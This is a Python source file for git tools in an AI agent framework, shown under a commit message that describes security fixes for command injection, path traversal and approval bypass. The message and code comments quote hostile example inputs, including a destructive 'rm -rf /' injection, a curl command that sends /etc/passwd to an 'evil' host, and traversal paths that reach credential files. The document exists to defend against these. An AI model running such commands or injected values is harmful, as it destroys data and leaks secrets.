Files
OpenOPC/opc/layer4_tools/git_ops.py
T
Test User 975b852e78 Fix command injection, path traversal, and approval bypass in tool/market layer
A security and robustness audit of the tool-execution, market-package, and
approval subsystems surfaced several high-impact issues. Each is fixed with a
minimal, targeted change; regression tests are included.

Command injection (shell_exec runs `bash -lc "<cmd>"`, so interpolated args are
shell-evaluated):
- git_commit: the commit message was interpolated raw into the command string.
  A message like `foo" && rm -rf / #` injected arbitrary commands, and the
  approval layer never inspects `message`. Now shlex-quoted.
- git_clone: the URL was interpolated raw. `https://x.git; rm -rf /` or
  `$(curl ...)` was executed. Now shlex-quoted.

Path traversal:
- package_loader._write_prompts / uninstall: `package_id` (from an untrusted
  manifest) was used directly as a directory name under prompts/market and
  passed to mkdir(parents=True) / shutil.rmtree. An id like
  `../../projects/<victim>` enabled arbitrary file write and arbitrary
  directory deletion. Added _market_prompts_dir() which validates the id
  (lowercase alphanumeric + -/_) and confirms the resolved path stays inside
  the market base; uninstall validates up front. Prompt-content filenames are
  also confined to the package dir.
- sandbox_checker: a malformed package id was only a *warning*, so
  report.passed stayed True and callers proceeded. Promoted to a hard error.
- package_exporter: prompt refs (bare strings from package definitions) were
  read with `opc_home / ref`, so `/etc/passwd` or `../../.aws/credentials`
  were bundled into exported packages. Now confined to opc_home.
- ws_handler._write_custom_prompt: employee_id (derived from user-supplied
  role id/name) flowed unchecked into the path, enabling traversal writes.
  Now reduced to a safe path component with a containment check.

Approval bypass:
- approval: a command beginning with a safe prefix (curl/echo/find/...) was
  auto-approved as LOW risk even when it contained shell command substitution.
  `curl http://evil/$(cat /etc/passwd)` was classified safe and ran with no
  human/LLM review, letting bash exfil data. Added
  _command_has_shell_substitution() and gated safe-prefix matching on it.

Correctness / robustness:
- shell: when a shell_prefix was active, `[args[0], args[1], command]` dropped
  the `-Command` flag from PowerShell argv (4 elements), silently breaking
  every prefixed PowerShell tool call. Now replaces only the trailing arg.
- runtime_v2: tool arguments that are valid JSON but not an object (e.g. a
  JSON array) were silently replaced with `{}` while arguments_parse_error
  stayed None, so the tool executed with empty args (todo_write could wipe the
  task ledger). Now flagged with a parse error.
- store: _json_loads raised on corrupt JSON; it is called during
  store.initialize() (via _sweep_stale_claims), so a single corrupt row
  prevented the store from ever opening. Now falls back to the default.
- engine: _parse_reorg_payload returned any JSON type; callers did
  `.get(...)` and crashed (AttributeError) on `reorg propose 42`. Now returns
  None for non-dict JSON.
- channels.manager: a single failing channel.send propagated out of the only
  outbound dispatch loop and silently stopped all message delivery on every
  channel until restart. Now caught and logged.
- ws_handler: a non-object JSON frame (null/number/array/string) made
  `data.get` raise AttributeError and drop the whole WS connection. Non-dict
  frames are now ignored.

Co-Authored-By: Claude <noreply@anthropic.com>
2026-07-03 10:14:16 +08:00

85 lines
3.3 KiB
Python

"""Git operation tools."""
from __future__ import annotations
import shlex
from typing import Any
from opc.layer4_tools.shell import shell_exec
from opc.layer4_tools.registry import ToolDefinition
async def git_status(working_directory: str = ".") -> dict[str, Any]:
return await shell_exec("git status --porcelain && echo '---' && git log --oneline -5", working_directory=working_directory)
async def git_commit(message: str, working_directory: str = ".", add_all: bool = True) -> dict[str, Any]:
cmds = []
if add_all:
cmds.append("git add -A")
# The message flows through ``shell_exec`` -> ``bash -lc "<command>"``, so it is
# shell-interpolated. Quote it to prevent a crafted message (e.g.
# ``foo" && rm -rf / #``) from injecting arbitrary commands. Only the literal
# commit message must reach ``git commit``.
cmds.append(f"git commit -m {shlex.quote(str(message))}")
return await shell_exec(" && ".join(cmds), working_directory=working_directory)
async def git_diff(working_directory: str = ".", staged: bool = False) -> dict[str, Any]:
cmd = "git diff --staged" if staged else "git diff"
return await shell_exec(cmd, working_directory=working_directory)
async def git_clone(url: str, directory: str = ".") -> dict[str, Any]:
# Quote the URL: it is interpolated into a ``bash -lc`` command and a value like
# ``https://x.git; rm -rf /`` or ``$(curl ...)`` would otherwise be executed.
return await shell_exec(f"git clone {shlex.quote(str(url))}", working_directory=directory, timeout=300)
def create_git_tools() -> list[ToolDefinition]:
return [
ToolDefinition(
name="git_status",
description="Show git status and recent commits.",
parameters={
"type": "object",
"properties": {
"working_directory": {"type": "string", "description": "Git repo directory", "default": "."},
},
"required": [],
},
func=git_status,
category="code",
),
ToolDefinition(
name="git_commit",
description="Stage all changes and commit with a message.",
parameters={
"type": "object",
"properties": {
"message": {"type": "string", "description": "Commit message"},
"working_directory": {"type": "string", "description": "Git repo directory", "default": "."},
"add_all": {"type": "boolean", "description": "Stage all changes", "default": True},
},
"required": ["message"],
},
func=git_commit,
category="code",
requires_confirmation=True,
),
ToolDefinition(
name="git_diff",
description="Show git diff (staged or unstaged).",
parameters={
"type": "object",
"properties": {
"working_directory": {"type": "string", "description": "Git repo directory", "default": "."},
"staged": {"type": "boolean", "description": "Show staged diff", "default": False},
},
"required": [],
},
func=git_diff,
category="code",
),
]